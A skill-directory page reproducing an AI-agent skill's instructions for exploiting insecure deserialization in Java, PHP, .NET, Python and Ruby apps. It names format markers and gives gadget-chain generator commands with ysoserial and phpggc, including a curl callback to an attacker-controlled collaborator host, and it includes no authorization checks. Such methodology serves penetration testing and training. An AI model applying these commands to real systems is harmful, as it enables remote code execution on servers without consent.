Insecure deserialization
SkillAI & modelsInsecure deserialization → RCE via gadget chains. Load when the app deserializes attacker data: Java (rO0/AC ED base64), PHP `unserialize` (O:), Python pickle, .NET BinaryFormatter/ViewState, Ruby Marshal/YAML. Signals: serialized blobs in cookies/params, `__VIEWSTATE`, `rO0AB`, `O:8:`.
Instructions available. Your AI can read the instructions. Execution depends on the setup they require.
Account requirements not reviewed. Check the skill instructions before use; ahel provides instructions and does not run this skill.
Add ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.
Then ask your AI: use the Insecure deserialization skill
What this skill tells your AI
The instructions your AI receives, as published by noorqureshi/sploitagent in skills/web/web-deserialization/SKILL.md and read by ahel’s review.
When it applies
The app takes serialized objects from the client (cookies, hidden fields, params, message queues) and deserializes them. Recognizable by format markers.
Why it works
Deserialization reconstructs objects and can invoke their methods (magic methods, readObject,
__wakeup). A crafted object graph ("gadget chain") strings together existing library methods
to reach a dangerous sink — command execution — during/after deserialization.
Method
Payloads & full variation set:
cheatsheet.mdnext to this file — work the set, not the first line.
- Spot the blob & format: Java
rO0AB/AC ED 00 05, PHPO:8:"...":, .NET__VIEWSTATE/AAEAAAD, Python pickle, Ruby Marshal\x04\x08. - Confirm it's deserialized untrusted: tamper a byte → parse error/behaviour change.
- Generate a gadget chain with the right tool for a library on the classpath:
- Java:
ysoserial CommonsCollections1 'curl <collab>' | base64 - PHP:
phpggc Monolog/RCE1 system id(pick a gadget matching a loaded framework) - .NET:
ysoserial.net(ViewState needs the MAC key or MAC-disabled).
- Java:
- Deliver in the sink; start with an OOB command (
curl/nslookupto your host) as safe proof.
Gotchas
- The chain must match a library actually present (Commons-Collections version, Monolog, etc.) — enumerate dependencies.
- Java: prefer a DNS/OOB gadget to confirm before an RCE payload.
- .NET ViewState needs the machineKey unless MAC validation is off — check for leaked web.config.
Verify success
An OOB callback or command output proving code executed during deserialization.
References
ysoserial / phpggc / ysoserial.net; PortSwigger deserialization labs; OWASP.
Signals
- GitHub stars
- 20
- Forks
- 7
- Last commit
- Sep 2026
Advanced
- Item type
- skill
- Key
web-deserialization-noorqureshi- Source
- github.com/noorqureshi/sploitagent
github.com/noorqureshi/sploitagent
Related picks
Skill · wshobson
The pick for Pythonpython-pro
Skill · jeffallan
The pick for Pythoncraft-php-guidelines
Skill · michtio
The pick for PHPfeature-flags-php
Skill · posthog
The pick for PHP110-java-maven-best-practices
Skill · jabrena
The pick for Javajava-api-consistency-validator
Skill · arabelatso
The pick for Java